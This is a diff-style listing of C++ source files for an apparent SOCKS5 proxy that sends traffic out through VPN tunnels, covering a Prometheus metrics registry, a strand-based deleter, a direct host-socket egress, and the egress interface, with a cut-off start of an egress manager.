Gauge *Registry::gauge(const std::string &name, const std::string &help) {
std::lock_guard lk(mu_);
for (auto &e : gauges_)
if (e.name == name) return e.g.get();
gauges_.push_back({name, help, std::make_unique<Gauge>()});
return gauges_.back().g.get();
}
std::string Registry::render_prometheus() const {
std::lock_guard lk(mu_);
std::string out;
out.reserve(4096);
for (const auto &e : counters_) {
if (!e.help.empty()) out += "# HELP " + e.name + " " + e.help + "\n";
out += "# TYPE " + e.name + " counter\n";
out += e.name + " " + std::to_string(e.c->value()) + "\n";
}
for (const auto &e : gauges_) {
if (!e.help.empty()) out += "# HELP " + e.name + " " + e.help + "\n";
out += "# TYPE " + e.name + " gauge\n";
out += e.name + " " + std::to_string(e.g->value()) + "\n";
}
return out;
}
} // namespace ovg::metrics
+68
View File
@@ -0,0 +1,68 @@
// Minimal metrics registry with Prometheus text exposition.
//
// Deliberately tiny: counters and gauges only. Handles are stable pointers so
// hot paths do an atomic add with no lookup and no lock.
#pragma once
#include <atomic>
#include <cstdint>
#include <memory>
#include <mutex>
#include <string>
#include <vector>
namespace ovg::metrics {
class Counter {
public:
void inc(uint64_t n = 1) { v_.fetch_add(n, std::memory_order_relaxed); }
uint64_t value() const { return v_.load(std::memory_order_relaxed); }
private:
std::atomic<uint64_t> v_{0};
};
class Gauge {
public:
void set(int64_t n) { v_.store(n, std::memory_order_relaxed); }
void add(int64_t n) { v_.fetch_add(n, std::memory_order_relaxed); }
void sub(int64_t n) { v_.fetch_sub(n, std::memory_order_relaxed); }
int64_t value() const { return v_.load(std::memory_order_relaxed); }
private:
std::atomic<int64_t> v_{0};
};
class Registry {
public:
static Registry &instance();
// Handles live for the process lifetime; safe to cache in a static.
Counter *counter(const std::string &name, const std::string &help = "");
Gauge *gauge(const std::string &name, const std::string &help = "");
std::string render_prometheus() const;
private:
struct CounterEntry {
std::string name, help;
std::unique_ptr<Counter> c;
};
struct GaugeEntry {
std::string name, help;
std::unique_ptr<Gauge> g;
};
mutable std::mutex mu_;
std::vector<CounterEntry> counters_;
std::vector<GaugeEntry> gauges_;
};
inline Counter *counter(const std::string &n, const std::string &help = "") {
return Registry::instance().counter(n, help);
}
inline Gauge *gauge(const std::string &n, const std::string &help = "") {
return Registry::instance().gauge(n, help);
}
} // namespace ovg::metrics
+37
View File
@@ -0,0 +1,37 @@
// Deferred, serialized destruction for objects that a callback may be holding
// a raw pointer to.
//
// Both transport implementations need it for the same reason. lwIP callbacks
// carry a raw `this` as their callback_arg; asio socket operations carry an
// implementation the socket must outlive. In both cases the object may not be
// destroyed at the moment its last shared_ptr goes away, because that moment
// can be inside a callback or on the wrong thread. Posting the destruction to
// the owning strand gives "not now, and not concurrently" in one move.
//
// The handler captures a unique_ptr rather than a raw pointer on purpose: if
// the io_context is destroyed while the handler is still queued, asio destroys
// the handler, the unique_ptr goes with it, and the object is freed instead of
// leaked.
#pragma once
#include <asio.hpp>
#include <memory>
#include <utility>
namespace ovg {
using Strand = asio::strand<asio::io_context::executor_type>;
template <class T>
struct StrandDeleter {
Strand strand;
void operator()(T *p) const {
if (!p) return;
std::unique_ptr<T> owned(p);
asio::post(strand, [o = std::move(owned)]() mutable { o.reset(); });
}
};
} // namespace ovg
+676
View File
@@ -0,0 +1,676 @@
#include "egress/direct_egress.h"
#include <algorithm>
#include <deque>
#include <utility>
#include "common/asio_compat.h"
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
#include "common/strand_deleter.h"
namespace ovg::egress {
namespace {
constexpr const char *kMod = "egress";
// The direct egress has no MTU of its own, but a datagram larger than this is
// not going to survive any real path either, and a bounded buffer keeps a
// hostile peer from sizing our allocations.
constexpr size_t kMaxDatagram = 65535;
using netstack::Resolver;
using netstack::TcpStream;
using netstack::UdpSocket;
// asio reports a would-be-fatal condition through a handful of codes that mean
// the same thing to us; anything else passes through unchanged so the SOCKS5
// reply code stays honest (see socks5_reply_for).
//
// Success is normalised to a default-constructed code. asio's own success
// belongs to asio's category, so `ec == std::error_code{}` is false for it even
// though `if (ec)` is false too -- and the lwIP transport reports plain `{}`.
// Two backends behind one interface must not differ in something a caller can
// observe with ==.
//
// The same argument forces the connect-class codes below to be translated
// rather than passed through. asio's category is *not* the system category and,
// in the version we build against, does not implement default_error_condition
// against std::errc at all:
//
// std::error_code ec = asio::error::connection_refused; // 111
// ec == std::errc::connection_refused // -> false!
//
// so a caller doing the obvious errno comparison silently gets the fallback
// branch. socks5_reply_for did exactly that and answered GENERAL_FAILURE (0x01)
// for a refused connection, where the lwIP egress -- which reports
// Error::ConnectionRefused -- correctly answered 0x05. Mapping here is the fix
// that holds for every caller instead of one: above this line there are only
// ovg::Error codes, whichever transport produced them.
std::error_code map_ec(const std::error_code &ec) {
if (!ec) return {};
if (ec == asio::error::operation_aborted) return make_error_code(Error::Cancelled);
if (ec == asio::error::connection_refused)
return make_error_code(Error::ConnectionRefused);
if (ec == asio::error::host_unreachable || ec == asio::error::host_not_found ||
ec == asio::error::host_not_found_try_again)
return make_error_code(Error::HostUnreachable);
if (ec == asio::error::network_unreachable ||
ec == asio::error::network_down || ec == asio::error::network_reset)
return make_error_code(Error::NetworkUnreachable);
if (ec == asio::error::timed_out) return make_error_code(Error::Timeout);
if (ec == asio::error::connection_reset ||
ec == asio::error::connection_aborted || ec == asio::error::broken_pipe)
return make_error_code(Error::UpstreamFailure);
return ec;
}
// ---------------------------------------------------------------------------
// TCP
// ---------------------------------------------------------------------------
// Everything here runs on the stream's own strand, and the object is destroyed
// on it too (StrandDeleter). That is what makes close() from one thread safe
// against a read completing on another -- an asio socket is no more
// thread-safe than lwIP is.
class DirectTcpStream final : public TcpStream,
public std::enable_shared_from_this<DirectTcpStream> {
public:
using Ptr = std::shared_ptr<DirectTcpStream>;
static Ptr create(asio::io_context &io, asio::any_io_executor cb_ex) {
Strand strand = asio::make_strand(io);
return Ptr(new DirectTcpStream(strand, std::move(cb_ex)),
StrandDeleter<DirectTcpStream>{strand});
}
~DirectTcpStream() override {
// On the strand, so no socket handler is running against us.
std::error_code ignored;
sock_.close(ignored);
const auto ec = make_error_code(Error::Cancelled);
if (read_h_) asio::post(cb_ex_, [h = std::move(read_h_), ec] { h(ec, 0); });
if (write_h_) {
asio::post(cb_ex_, [h = std::move(write_h_), ec] { h(ec, 0); });
}
if (on_gone_) on_gone_();
}
// Runs when the stream is actually destroyed, which is what the egress's
// "active connections" gauge is supposed to count -- not when the caller
// stopped reading from it.
void set_on_gone(std::function<void()> f) { on_gone_ = std::move(f); }
using ConnectHandler = std::function<void(const std::error_code &)>;
void start_connect(const Endpoint &target, Millis timeout, ConnectHandler h) {
auto self = shared_from_this();
asio::post(strand_, [self, target, timeout, h = std::move(h)]() mutable {
self->do_connect(target, timeout, std::move(h));
});
}
// TcpStream
void async_read_some(asio::mutable_buffer buf, ReadHandler h) override {
auto self = shared_from_this();
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
self->do_read(buf, std::move(h));
});
}
void async_write(asio::const_buffer buf, WriteHandler h) override {
auto self = shared_from_this();
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
self->do_write(buf, std::move(h));
});
}
void shutdown_send() override {
auto self = shared_from_this();
asio::post(strand_, [self] {
if (!self->sock_.is_open()) return;
std::error_code ignored;
self->sock_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored);
});
}
void close() override {
auto self = shared_from_this();
asio::post(strand_, [self] { self->do_close(); });
}
bool is_open() const override { return open_.load(std::memory_order_acquire); }
Endpoint local_endpoint() const override { return local_; }
Endpoint remote_endpoint() const override { return remote_; }
uint64_t bytes_written() const override {
return tx_.load(std::memory_order_relaxed);
}
uint64_t bytes_read() const override {
return rx_.load(std::memory_order_relaxed);
}
private:
DirectTcpStream(Strand strand, asio::any_io_executor cb_ex)
: strand_(strand),
cb_ex_(std::move(cb_ex)),
sock_(strand),
timer_(strand) {}
void do_connect(const Endpoint &target, Millis timeout, ConnectHandler h) {
connect_h_ = std::move(h);
if (target.is_domain() || !target.address().valid()) {
// The egress resolved it before getting here; a name at this point is a
// bug, not something to paper over with another lookup.
finish_connect(make_error_code(Error::Internal));
return;
}
const auto ep = to_asio_tcp(target);
remote_ = target;
std::error_code ec;
sock_.open(ep.protocol(), ec);
if (ec) {
finish_connect(ec);
return;
}
sock_.set_option(asio::ip::tcp::no_delay(true), ec);
if (timeout.count() > 0) {
timer_.expires_after(timeout);
auto self = shared_from_this();
timer_.async_wait([self](const std::error_code &tec) {
if (tec || !self->connecting_) return;
std::error_code ignored;
self->sock_.close(ignored); // makes the pending connect fail
self->timed_out_ = true;
});
}
connecting_ = true;
auto self = shared_from_this();
sock_.async_connect(ep, [self](const std::error_code &cec) {
if (self->timed_out_) {
self->finish_connect(make_error_code(Error::Timeout));
return;
}
if (cec) {
self->finish_connect(map_ec(cec));
return;
}
std::error_code lec;
self->local_ = from_asio(self->sock_.local_endpoint(lec));
self->finish_connect({});
});
}
void finish_connect(const std::error_code &ec) {
if (!connecting_ && !connect_h_) return;
connecting_ = false;
timer_.cancel();
if (!ec) open_.store(true, std::memory_order_release);
if (connect_h_) {
auto h = std::move(connect_h_);
connect_h_ = nullptr;
h(ec);
}
}
void do_read(asio::mutable_buffer buf, ReadHandler h) {
if (read_h_) {
LOG_ERROR(kMod, "overlapping async_read_some on {}", remote_.to_string());
post_read(std::move(h), make_error_code(Error::Internal), 0);
return;
}
if (buf.size() == 0) {
post_read(std::move(h), {}, 0);
return;
}
if (!sock_.is_open()) {
post_read(std::move(h), make_error_code(Error::Cancelled), 0);
return;
}
read_h_ = std::move(h);
auto self = shared_from_this();
sock_.async_read_some(buf, [self](const std::error_code &ec, size_t n) {
self->rx_.fetch_add(n, std::memory_order_relaxed);
// asio::error::eof passes straight through: a half-closed peer is not a
// failure, and turning it into one would truncate the response the
// client is still waiting to send a request for.
auto h = std::move(self->read_h_);
self->read_h_ = nullptr;
if (h) self->post_read(std::move(h), ec == asio::error::eof ? ec : map_ec(ec), n);
});
}
void do_write(asio::const_buffer buf, WriteHandler h) {
if (write_h_) {
LOG_ERROR(kMod, "overlapping async_write on {}", remote_.to_string());
post_write(std::move(h), make_error_code(Error::Internal), 0);
return;
}
if (buf.size() == 0) {
post_write(std::move(h), {}, 0);
return;
}
if (!sock_.is_open()) {
post_write(std::move(h), std::make_error_code(std::errc::broken_pipe), 0);
return;
}
write_h_ = std::move(h);
auto self = shared_from_this();
// async_write, not async_write_some: the interface promises the whole
// buffer, matching what lwip_tcp.cpp does with its retry loop.
asio::async_write(sock_, buf, [self](const std::error_code &ec, size_t n) {
self->tx_.fetch_add(n, std::memory_order_relaxed);
auto h = std::move(self->write_h_);
self->write_h_ = nullptr;
if (h) self->post_write(std::move(h), map_ec(ec), n);
});
}
void do_close() {
if (closing_) return;
closing_ = true;
open_.store(false, std::memory_order_release);
timer_.cancel();
std::error_code ignored;
sock_.close(ignored); // pending ops complete with operation_aborted
if (connecting_) finish_connect(make_error_code(Error::Cancelled));
}
void post_read(ReadHandler h, const std::error_code &ec, size_t n) {
asio::post(cb_ex_, [h = std::move(h), ec, n]() mutable { h(ec, n); });
}
void post_write(WriteHandler h, const std::error_code &ec, size_t n) {
asio::post(cb_ex_, [h = std::move(h), ec, n]() mutable { h(ec, n); });
}
Strand strand_;
asio::any_io_executor cb_ex_;
asio::ip::tcp::socket sock_;
asio::steady_timer timer_;
Endpoint local_, remote_;
ConnectHandler connect_h_;
bool connecting_ = false;
bool timed_out_ = false;
bool closing_ = false;
ReadHandler read_h_;
WriteHandler write_h_;
std::function<void()> on_gone_;
std::atomic<bool> open_{false};
std::atomic<uint64_t> tx_{0}, rx_{0};
};
// ---------------------------------------------------------------------------
// UDP
// ---------------------------------------------------------------------------
class DirectUdpSocket final : public UdpSocket,
public std::enable_shared_from_this<DirectUdpSocket> {
public:
using Ptr = std::shared_ptr<DirectUdpSocket>;
static Ptr create(asio::io_context &io, asio::any_io_executor cb_ex,
std::error_code *ec_out) {
Strand strand = asio::make_strand(io);
Ptr p(new DirectUdpSocket(strand, std::move(cb_ex)),
StrandDeleter<DirectUdpSocket>{strand});
std::error_code ec;
// v6 with v6_only off would accept v4 too, but VPNGate is v4-only and the
// netstack refuses v6 anyway (lwip_stack.h); staying v4 keeps the two
// egresses behaving identically.
p->sock_.open(asio::ip::udp::v4(), ec);
if (!ec) p->sock_.bind(asio::ip::udp::endpoint(asio::ip::udp::v4(), 0), ec);
if (ec) {
if (ec_out) *ec_out = ec;
return nullptr;
}
p->local_ = from_asio(p->sock_.local_endpoint(ec));
p->open_.store(true, std::memory_order_release);
return p;
}
~DirectUdpSocket() override {
std::error_code ignored;
sock_.close(ignored);
if (recv_h_) {
const auto ec = make_error_code(Error::Cancelled);
asio::post(cb_ex_, [h = std::move(recv_h_), ec] { h(ec, 0, Endpoint{}); });
}
if (on_gone_) on_gone_();
}
void set_on_gone(std::function<void()> f) { on_gone_ = std::move(f); }
void async_receive_from(asio::mutable_buffer buf, RecvHandler h) override {
auto self = shared_from_this();
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
self->do_receive(buf, std::move(h));
});
}
void async_send_to(asio::const_buffer buf, const Endpoint &to,
SendHandler h) override {
auto self = shared_from_this();
asio::post(strand_, [self, buf, to, h = std::move(h)]() mutable {
self->do_send(buf, to, std::move(h));
});
}
void close() override {
auto self = shared_from_this();
asio::post(strand_, [self] {
if (self->closing_) return;
self->closing_ = true;
self->open_.store(false, std::memory_order_release);
std::error_code ignored;
self->sock_.close(ignored);
});
}
bool is_open() const override { return open_.load(std::memory_order_acquire); }
Endpoint local_endpoint() const override { return local_; }
private:
DirectUdpSocket(Strand strand, asio::any_io_executor cb_ex)
: strand_(strand), cb_ex_(std::move(cb_ex)), sock_(strand) {}
void do_receive(asio::mutable_buffer buf, RecvHandler h) {
if (recv_h_) {
asio::post(cb_ex_, [h = std::move(h)]() mutable {
h(make_error_code(Error::Internal), 0, Endpoint{});
});
return;
}
if (!sock_.is_open()) {
asio::post(cb_ex_, [h = std::move(h)]() mutable {
h(make_error_code(Error::Cancelled), 0, Endpoint{});
});
return;
}
recv_h_ = std::move(h);
auto self = shared_from_this();
sock_.async_receive_from(
buf, from_, [self](const std::error_code &ec, size_t n) {
auto h2 = std::move(self->recv_h_);
self->recv_h_ = nullptr;
if (!h2) return;
const Endpoint from = from_asio(self->from_);
asio::post(self->cb_ex_,
[h2 = std::move(h2), ec = map_ec(ec), n, from]() mutable {
h2(ec, n, from);
});
});
}
void do_send(asio::const_buffer buf, const Endpoint &to, SendHandler h) {
if (to.is_domain() || !to.address().valid()) {
asio::post(cb_ex_, [h = std::move(h)]() mutable {
h(make_error_code(Error::NotSupported), 0);
});
return;
}
if (!sock_.is_open()) {
asio::post(cb_ex_, [h = std::move(h)]() mutable {
h(make_error_code(Error::Cancelled), 0);
});
return;
}
if (buf.size() > kMaxDatagram) {
asio::post(cb_ex_, [h = std::move(h)]() mutable {
h(make_error_code(Error::ResourceExhausted), 0);
});
return;
}
// send_to rather than async_send_to: a UDP send either fits in the socket
// buffer or is dropped, so there is nothing to wait for, and this keeps a
// single outstanding-op rule from applying to a direction that does not
// need one.
std::error_code ec;
const size_t n = sock_.send_to(buf, to_asio_udp(to), 0, ec);
asio::post(cb_ex_, [h = std::move(h), ec = map_ec(ec), n]() mutable {
h(ec, n);
});
}
Strand strand_;
asio::any_io_executor cb_ex_;
asio::ip::udp::socket sock_;
asio::ip::udp::endpoint from_;
Endpoint local_;
RecvHandler recv_h_;
std::function<void()> on_gone_;
bool closing_ = false;
std::atomic<bool> open_{false};
};
// ---------------------------------------------------------------------------
// Resolver
// ---------------------------------------------------------------------------
// The host resolver. Correct here precisely because there is no tunnel to leak
// out of -- the tunnel egress uses netstack/dns_resolver.h instead, which sends
// its queries through the VPN.
class DirectResolver final : public Resolver {
public:
DirectResolver(asio::io_context &io, DnsConfig cfg)
: io_(io), cfg_(std::move(cfg)) {}
void async_resolve(const std::string &host, Handler h) override {
async_resolve_on(io_.get_executor(), host, std::move(h));
}
void async_resolve_on(const asio::any_io_executor &ex,
const std::string &host, Handler h) {
if (auto lit = IpAddress::parse(host)) {
asio::post(ex, [h = std::move(h), lit = *lit]() mutable {
h({}, {lit});
});
return;
}
auto res = std::make_shared<asio::ip::tcp::resolver>(io_);
res->async_resolve(
host, "", asio::ip::resolver_base::numeric_service,
[res, ex, h = std::move(h), cfg = cfg_](
const std::error_code &ec,
asio::ip::tcp::resolver::results_type results) mutable {
if (ec) {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::ResolveFailed), {});
});
return;
}
std::vector<IpAddress> out;
for (const auto &r : results) {
const auto a = from_asio(r.endpoint().address());
if (!a.valid()) continue;
if (cfg.prefer_ipv4 && !a.is_v4()) continue;
if (std::find(out.begin(), out.end(), a) == out.end())
out.push_back(a);
}
if (out.empty()) {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::ResolveFailed), {});
});
return;
}
asio::post(ex, [h = std::move(h), out = std::move(out)]() mutable {
h({}, std::move(out));
});
});
}
void clear_cache() override {} // the host resolver keeps its own
private:
asio::io_context &io_;
DnsConfig cfg_;
};
metrics::Counter *direct_tcp_opened() {
static auto *c = metrics::counter("ovg_direct_tcp_opened_total",
"TCP connections opened on the direct egress");
return c;
}
metrics::Counter *direct_tcp_failed() {
static auto *c = metrics::counter("ovg_direct_tcp_failed_total",
"TCP connect failures on the direct egress");
return c;
}
} // namespace
// ---------------------------------------------------------------------------
// DirectEgress
// ---------------------------------------------------------------------------
std::shared_ptr<DirectEgress> DirectEgress::create(asio::io_context &io,
DnsConfig dns_cfg) {
auto e = std::shared_ptr<DirectEgress>(
new DirectEgress(io, std::move(dns_cfg)));
LOG_WARN(kMod,
"direct egress active: traffic does NOT go through a VPN. "
"This is a configuration choice (egress_mode = direct), and it is "
"never entered automatically.");
return e;
}
DirectEgress::DirectEgress(asio::io_context &io, DnsConfig dns_cfg)
: io_(io),
dns_cfg_(std::move(dns_cfg)),
resolver_(std::make_shared<DirectResolver>(io, dns_cfg_)),
created_(std::chrono::steady_clock::now()) {}
DirectEgress::~DirectEgress() = default;
void DirectEgress::async_connect_tcp(const asio::any_io_executor &ex,
const Endpoint &target, Millis timeout,
ConnectHandler h) {
if (state() != EgressState::Ready) {
const auto ec = make_error_code(state() == EgressState::Draining
? Error::EgressDraining
: Error::EgressGone);
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
return;
}
auto self = shared_from_this();
auto dial = [self, ex, timeout](const Endpoint &resolved,
ConnectHandler h) mutable {
auto stream = DirectTcpStream::create(self->io_, ex);
self->tcp_active_.fetch_add(1, std::memory_order_relaxed);
stream->set_on_gone([self] {
self->tcp_active_.fetch_sub(1, std::memory_order_relaxed);
});
stream->start_connect(
resolved, timeout,
[self, stream, ex, h = std::move(h)](const std::error_code &ec) mutable {
self->note_tcp(!ec);
if (ec) {
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
return;
}
asio::post(ex, [h = std::move(h), stream]() mutable { h({}, stream); });
});
};
if (!target.is_domain()) {
dial(target, std::move(h));
return;
}
const uint16_t port = target.port();
async_resolve(ex, target.domain(),
[dial = std::move(dial), port, ex, self, h = std::move(h)](
const std::error_code &ec,
std::vector<IpAddress> addrs) mutable {
if (ec || addrs.empty()) {
// Report the resolve failure as itself. Folding it into a
// connect error would hand SOCKS5 the wrong REP code and
// send the operator looking at the wrong layer.
self->note_tcp(false);
const auto fail =
ec ? ec : make_error_code(Error::ResolveFailed);
asio::post(ex, [h = std::move(h), fail]() mutable {
h(fail, nullptr);
});
return;
}
dial(Endpoint(addrs.front(), port), std::move(h));
});
}
void DirectEgress::async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) {
if (state() != EgressState::Ready) {
const auto ec = make_error_code(state() == EgressState::Draining
? Error::EgressDraining
: Error::EgressGone);
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
return;
}
std::error_code ec;
auto sock = DirectUdpSocket::create(io_, ex, &ec);
if (!sock) {
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
return;
}
auto self = shared_from_this();
udp_active_.fetch_add(1, std::memory_order_relaxed);
sock->set_on_gone(
[self] { self->udp_active_.fetch_sub(1, std::memory_order_relaxed); });
asio::post(ex, [h = std::move(h), sock]() mutable { h({}, sock); });
}
void DirectEgress::async_resolve(const asio::any_io_executor &ex,
const std::string &host, ResolveHandler h) {
std::static_pointer_cast<DirectResolver>(resolver_)->async_resolve_on(
ex, host, std::move(h));
}
EgressState DirectEgress::state() const {
return static_cast<EgressState>(state_.load(std::memory_order_acquire));
}
void DirectEgress::note_tcp(bool ok) {
if (ok) {
tcp_opened_.fetch_add(1, std::memory_order_relaxed);
direct_tcp_opened()->inc();
} else {
tcp_failed_.fetch_add(1, std::memory_order_relaxed);
direct_tcp_failed()->inc();
}
}
EgressStats DirectEgress::stats() const {
EgressStats s;
s.node_id = "direct";
s.proto = "direct";
s.uptime_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now() - created_)
.count();
s.tcp_opened = tcp_opened_.load(std::memory_order_relaxed);
s.tcp_failed = tcp_failed_.load(std::memory_order_relaxed);
s.tcp_active = tcp_active_.load(std::memory_order_relaxed);
s.udp_active = udp_active_.load(std::memory_order_relaxed);
return s;
}
void DirectEgress::begin_drain() {
auto expected = static_cast<int>(EgressState::Ready);
state_.compare_exchange_strong(expected,
static_cast<int>(EgressState::Draining));
}
void DirectEgress::shutdown(std::function<void()> on_done) {
state_.store(static_cast<int>(EgressState::Down), std::memory_order_release);
// Nothing to tear down: host sockets belong to the streams, and dropping a
// stream closes it. The asymmetry with TunnelEgress is real and fine -- there
// is no shared resource here whose removal would strand a live connection.
if (on_done) asio::post(io_, std::move(on_done));
}
} // namespace ovg::egress
+78
View File
@@ -0,0 +1,78 @@
// The egress that isn't: host sockets, no VPN, no lwIP.
//
// It exists for two reasons, both practical.
//
// * The SOCKS5 layer needs to be testable without bringing up a tunnel to a
// volunteer server in another country. Against this egress the whole proxy
// runs end to end over loopback, in a unit test, deterministically.
// * `egress_mode = direct` in the config gives an operator a working proxy
// while they debug node selection, and gives a build without openvpn3
// something to do (see OVG_WITH_TUNNEL in src/CMakeLists.txt).
//
// It is emphatically not a fallback the switch controller may reach for on its
// own: traffic through it is not in the VPN, and quietly degrading to that
// would be the worst possible failure mode for a program whose entire job is
// to not do that. Selecting it is a config decision, made once, at startup.
//
// The stream and socket types here implement the same netstack interfaces as
// the lwIP ones, so nothing above notices the difference -- including the
// half-close and cancellation semantics, which are matched deliberately rather
// than approximately.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <memory>
#include <mutex>
#include <string>
#include <vector>
#include "common/config.h"
#include "egress/egress.h"
namespace ovg::egress {
class DirectEgress final : public Egress,
public std::enable_shared_from_this<DirectEgress> {
public:
static std::shared_ptr<DirectEgress> create(asio::io_context &io,
DnsConfig dns_cfg);
~DirectEgress() override;
DirectEgress(const DirectEgress &) = delete;
DirectEgress &operator=(const DirectEgress &) = delete;
// Egress
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &target,
Millis timeout, ConnectHandler h) override;
void async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) override;
void async_resolve(const asio::any_io_executor &ex, const std::string &host,
ResolveHandler h) override;
EgressState state() const override;
EgressStats stats() const override;
std::string detail() const override { return {}; }
void begin_drain() override;
void shutdown(std::function<void()> on_done = {}) override;
const std::string &label() const override { return label_; }
private:
DirectEgress(asio::io_context &io, DnsConfig dns_cfg);
void note_tcp(bool ok);
asio::io_context &io_;
DnsConfig dns_cfg_;
std::string label_ = "direct";
std::shared_ptr<netstack::Resolver> resolver_;
std::chrono::steady_clock::time_point created_;
std::atomic<int> state_{static_cast<int>(EgressState::Ready)};
std::atomic<uint64_t> tcp_opened_{0};
std::atomic<uint64_t> tcp_failed_{0};
std::atomic<int64_t> tcp_active_{0};
std::atomic<int64_t> udp_active_{0};
};
} // namespace ovg::egress
+21
View File
@@ -0,0 +1,21 @@
#include "egress/egress.h"
namespace ovg::egress {
const char *egress_state_name(EgressState s) {
switch (s) {
case EgressState::Idle:
return "idle";
case EgressState::Connecting:
return "connecting";
case EgressState::Ready:
return "ready";
case EgressState::Draining:
return "draining";
case EgressState::Down:
return "down";
}
return "unknown";
}
} // namespace ovg::egress
+153
View File
@@ -0,0 +1,153 @@
// The way out. Everything above this line -- SOCKS5, health, admin -- programs
// against this interface and nothing else.
//
// ---------------------------------------------------------------------------
// Why the whole design hangs on this being a shared_ptr
// ---------------------------------------------------------------------------
// A SOCKS5 session takes a reference at accept time and holds it until it ends.
// That single rule buys three things that would otherwise each need their own
// machinery:
//
// * A session can never be re-homed underneath itself. The egress it started
// on is the egress it finishes on, so there is no window where a half-sent
// request goes out one tunnel and its continuation out another.
// * Draining needs no session table. The reference count *is* the number of
// sessions still using this egress; when it hits zero the destructor closes
// the tunnel. Nothing to iterate, nothing to leak.
// * The switch is a pointer swap. Promote = store a new shared_ptr in the
// manager; every acquire() after that gets the new one, every session
// before it is untouched.
//
// docs/ARCHITECTURE.md §5.2.
//
// ---------------------------------------------------------------------------
// Threading
// ---------------------------------------------------------------------------
// Every method is safe to call from any thread. Each async method takes the
// executor its handler must run on, and so does everything the handler hands
// back: a stream created with a session's strand delivers all of its own
// completions on that strand too.
//
// Passing the executor explicitly rather than fixing it at construction is what
// lets one egress serve a thousand sessions on four io threads while each
// session still sees a single-threaded world. Implementations that need
// internal serialization -- the tunnel one does, because lwIP does -- arrange
// that privately and never leak it to the caller.
#pragma once
#include <asio.hpp>
#include <cstdint>
#include <functional>
#include <memory>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/endpoint.h"
#include "netstack/stream.h"
namespace ovg::egress {
using netstack::TcpStreamPtr;
using netstack::UdpSocketPtr;
enum class EgressState {
Idle, // constructed, start() not called
Connecting, // bringing the tunnel up; no traffic yet
Ready, // usable
Draining, // still serving existing sessions, refusing new ones
Down, // unusable; `detail()` says why
};
const char *egress_state_name(EgressState s);
struct EgressStats {
// Identity.
std::string node_id;
std::string node_country;
std::string server_ip;
std::string local_address; // our address inside the tunnel
std::string proto; // "udp" / "tcp" / "direct"
// Age and use.
int64_t uptime_ms = 0;
int64_t sessions = 0; // shared_ptr use_count minus the manager's own refs
// Traffic, as seen at the tunnel. Zero for the direct egress, which has no
// single aggregate to report.
uint64_t tun_bytes_in = 0;
uint64_t tun_bytes_out = 0;
uint64_t transport_bytes_in = 0;
uint64_t transport_bytes_out = 0;
int last_packet_received_ms = -1; // -1 = never
// Connection outcomes, since construction.
uint64_t tcp_opened = 0;
uint64_t tcp_failed = 0;
int64_t tcp_active = 0;
int64_t udp_active = 0;
// Packet-level health, from the netstack. All zero for direct.
uint64_t rx_packets = 0;
uint64_t tx_packets = 0;
uint64_t tx_dropped = 0;
uint64_t rx_malformed = 0;
uint64_t rx_dropped = 0;
double connect_failure_rate() const {
const uint64_t total = tcp_opened + tcp_failed;
return total == 0 ? 0.0 : static_cast<double>(tcp_failed) / total;
}
};
class Egress {
public:
using ConnectHandler =
std::function<void(const std::error_code &, TcpStreamPtr)>;
using UdpBindHandler =
std::function<void(const std::error_code &, UdpSocketPtr)>;
using ResolveHandler =
std::function<void(const std::error_code &, std::vector<IpAddress>)>;
virtual ~Egress() = default;
// `target` may be a domain: resolving it here rather than at the caller is
// what keeps DNS inside the tunnel. A literal address skips the lookup.
virtual void async_connect_tcp(const asio::any_io_executor &ex,
const Endpoint &target, Millis timeout,
ConnectHandler h) = 0;
// An outbound datagram socket on this egress, for SOCKS5 UDP ASSOCIATE.
virtual void async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) = 0;
// Exposed separately from connect because SOCKS5 needs the resolved address
// for the BND field in the reply, and the health monitor times a lookup as
// its in-tunnel RTT probe.
virtual void async_resolve(const asio::any_io_executor &ex,
const std::string &host, ResolveHandler h) = 0;
virtual EgressState state() const = 0;
virtual EgressStats stats() const = 0;
// Human-readable reason for Down, or an empty string.
virtual std::string detail() const = 0;
// Stops accepting new work. Existing streams keep running: this is the state
// an egress sits in between being replaced and its last session ending.
// Idempotent.
virtual void begin_drain() = 0;
// Tears everything down now, aborting live streams with Error::EgressGone.
// `on_done` runs on the egress's executor once the tunnel is gone.
virtual void shutdown(std::function<void()> on_done = {}) = 0;
// Stable label for logs: node id for a tunnel, "direct" otherwise.
virtual const std::string &label() const = 0;
bool usable() const { return state() == EgressState::Ready; }
};
using EgressPtr = std::shared_ptr<Egress>;
} // namespace ovg::egress
+806
View File
@@ -0,0 +1,806 @@
#include "egress/egress_manager.h"
#include <algorithm>
#include <atomic>
#include <utility>
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
#include "egress/direct_egress.h"
#if OVG_WITH_TUNNEL
#include "egress/tunnel_egress.h"
#include "netstack/lwip_stack.h"
#endif
namespace ovg::egress {
namespace {
constexpr const char *kMod = "egress";
// How many full selection rounds startup gets before start() reports failure.
// A round already walks several candidates, so this is "the node list is
// unusable", not "one server was busy". Bounded rather than infinite because a
// service that never finishes starting is harder to operate than one that exits
// with a reason.
constexpr size_t kStartupRounds = 4;
// The directory arrives asynchronously and the first selection usually loses
// the race with it by about a second. Poll at this interval instead of burning
// a startup round and an exponential backoff on a condition that is not a
// failure. Bounded, because "the API is unreachable and there is no cache" must
// eventually become a reported error rather than a service that waits forever.
constexpr Millis kDirectoryWaitDelay{1000};
constexpr size_t kMaxDirectoryWaits = 45;
metrics::Counter *m_switches() {
static auto *c = metrics::counter("ovg_egress_switch_total",
"Completed egress switches");
return c;
}
metrics::Counter *m_switch_failed() {
